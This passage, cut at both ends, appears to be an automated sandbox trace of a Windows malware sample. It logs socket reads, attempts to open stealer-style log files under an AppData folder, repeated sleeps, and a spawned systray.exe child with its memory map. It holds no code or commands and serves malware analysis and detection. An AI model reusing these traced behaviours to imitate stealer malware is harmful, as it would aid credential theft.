optlen=4) returned 0 [0156.483] recv (in: s=0x740, buf=0x809f024, len=2048000, flags=0 | out: buf=0x809f024*) returned 684 [0156.523] closesocket (s=0x740) returned 0 [0156.524] Sleep (dwMilliseconds=0x7d0) [0158.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", NtPathName=0x42cf7e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.530] NtCreateFile (in: FileHandle=0x42cf780, DesiredAccess=0x120089, ObjectAttributes=0x42cf7f0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf790, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf780*=0xffffffffffffffff, IoStatusBlock=0x42cf790*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.530] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf700 | out: HeapArray=0x42cf700*=0x350000) returned 0x10 [0158.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.530] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.530] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.530] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.530] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.530] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.530] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.530] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.530] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.530] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.530] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.531] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.531] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.531] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.531] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.531] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.531] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.531] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.531] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.531] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0x10 [0158.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", NtPathName=0x42cf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0158.531] NtCreateFile (in: FileHandle=0x42cf710, DesiredAccess=0x120089, ObjectAttributes=0x42cf780*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf720, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf710*=0xffffffffffffffff, IoStatusBlock=0x42cf720*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0158.531] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf690 | out: HeapArray=0x42cf690*=0x350000) returned 0x10 [0158.531] Sleep (dwMilliseconds=0x7d0) [0160.559] Sleep (dwMilliseconds=0x7d0) [0163.787] Sleep (dwMilliseconds=0x7d0) [0166.766] Sleep (dwMilliseconds=0x7d0) [0168.796] Sleep (dwMilliseconds=0x7d0) [0170.807] Sleep (dwMilliseconds=0x7d0) [0172.913] Sleep (dwMilliseconds=0x7d0) [0174.925] Sleep (dwMilliseconds=0x7d0) [0176.938] Sleep (dwMilliseconds=0x7d0) [0178.950] Sleep (dwMilliseconds=0x7d0) [0180.963] Sleep (dwMilliseconds=0x7d0) [0182.972] Sleep (dwMilliseconds=0x7d0) [0184.985] Sleep (dwMilliseconds=0x7d0) [0186.996] Sleep (dwMilliseconds=0x7d0) [0189.024] Sleep (dwMilliseconds=0x7d0) [0191.036] Sleep (dwMilliseconds=0x7d0) [0193.049] Sleep (dwMilliseconds=0x7d0) [0195.061] Sleep (dwMilliseconds=0x7d0) Thread: id = 289 os_tid = 0x748 Thread: id = 290 os_tid = 0x670 Process: id = "11" image_name = "systray.exe" filename = "c:\\windows\\syswow64\\systray.exe" page_root = "0x284f2000" os_pid = "0xbe4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x460" cmd_line = "\"C:\\Windows\\SysWOW64\\systray.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2157 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2158 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2159 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2160 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2161 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2162 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2163 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2164 start_va = 0x6b0000 end_va = 0x6b4fff entry_point = 0x6b0000 region_type = mapped_file name = "systray.exe" filename = "\\Windows\\SysWOW64\\systray.exe" (normalized: "c:\\windows\\syswow64\\systray.exe") Region: id = 2165 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2166 start_va = 0x777c0000 end_va = 0x7793ffff entry_point = 0x777c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2167 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2168 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2169 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2170 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2171 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2172 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2173 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2213 start_va = 0x70000 end_va = 0x99fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2215 start_va = 0x6b0000 end_va = 0x6b4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 2216 start_va = 0xe0000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2217 start_va = 0x750d0000 end_va = 0x7512bfff entry_point = 0x750d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2218 start_va = 0x75240000 end_va = 0x7527efff entry_point = 0x75240000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2219 start_va = 0x752d0000 end_va = 0x752d7fff entry_point = 0x752d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2220 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2221 start_va = 0x160000 end_va = 0x1c6fff entry_point = 0x160000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2222 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2223 start_va = 0x480000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 2224 start_va = 0x75310000 end_va = 0x7531bfff entry_point = 0x75310000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2225 start_va = 0x75320000 end_va = 0x7537ffff entry_point = 0x75320000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2226 start_va = 0x75390000 end_va = 0x7542ffff entry_point = 0x75390000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2227 start_va = 0x75510000 end_va = 0x75519fff entry_point = 0x75510000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2228 start_va = 0x755d0000 end_va = 0x7565ffff entry_point = 0x755d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2229 start_va = 0x758f0000 end_va = 0x759dffff entry_point = 0x758f0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2230 start_va = 0x759f0000 end_va = 0x75a08fff entry_point = 0x759f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2231 start_va = 0x75b60000 end_va = 0x75bfcfff entry_point = 0x75b60000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2232 start_va = 0x75c00000 end_va = 0x75cabfff entry_point = 0x75c00000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2233 start_va = 0x76110000 end_va = 0x76155fff entry_point = 0x76110000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2234 start_va = 0x76380000 end_va = 0x7647ffff entry_point = 0x76380000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2235 start_va = 0x76540000 end_va = 0x7664ffff entry_point = 0x76540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2236 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x0 region_type = private name = "private_0x00000000773c0000" filename = "" Region: id = 2237 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x0 region_type = private name = "private_0x00000000774e0000" filename = "" Region: id = 2238 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2239 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2240 start_va = 0x490000 end_va = 0x617fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2241 start_va = 0x75430000 end_va = 0x754fbfff entry_point = 0x75430000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2242 start_va = 0x75cb0000 end_va = 0x75d0ffff entry_point = 0x75cb0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2243 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2244 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2245 start_va = 0x6c0000 end_va = 0x840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 2246 start_va = 0x850000 end_va = 0x1c4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 2247 start_va = 0x1c50000 end_va = 0x1d8bfff entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 2248 start_va = 0x1d90000 end_va = 0x1f10fff entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 2249 start_va = 0x1f20000 end_va = 0x2222fff entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 2250 start_va = 0xa0000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2305 start_va = 0xa0000 end_va = 0xc9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2306 start_va = 0x410000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 2307 start_va = 0x1c70000 end_va = 0x1caffff entry_point = 0x0 region_type = private name = "private_0x0000000001c70000" filename = "" Region: id = 2308 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2309 start_va = 0x1d0000 end_va = 0x1f9fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 2310 start_va = 0x1cb0000 end_va = 0x1d42fff entry_point = 0x0 region_type = private name = "private_0x0000000001cb0000" filename = "" Region: id = 2311 start_va = 0x1d50000 end_va = 0x1de2fff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 2312 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2313 start_va = 0x2230000 end_va = 0x2bf3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002230000" filename = "" Region: id = 2314 start_va = 0x2c00000 end_va = 0x2df4fff entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 2315 start_va = 0x2e00000 end_va = 0x2ff4fff entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 2318 start_va = 0x1df0000 end_va = 0x1efbfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001df0000" filename = "" Region: id = 2319 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2320 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2321 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2322 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2332 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2333 start_va = 0x670000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 2334 start_va = 0x1ec0000 end_va = 0x1efffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2335 start_va = 0x30f0000 end_va = 0x312ffff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 2336 start_va = 0x3180000 end_va = 0x31bffff entry_point = 0x0 region_type = private name = "private_0x0000000003180000" filename = "" Region: id = 2337 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2338 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2339 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2340 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2506 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2942 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3401 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3423 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3424 start_va = 0xd0000 end_va = 0xdffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3484 start_va = 0x76650000 end_va = 0x7676cfff entry_point = 0x76650000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3485 start_va = 0x759e0000 end_va = 0x759ebfff entry_point = 0x759e0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3486 start_va = 0x76160000 end_va = 0x762bbfff entry_point = 0x76160000 region_type = mapped_file name = "ole32.dll" filename = 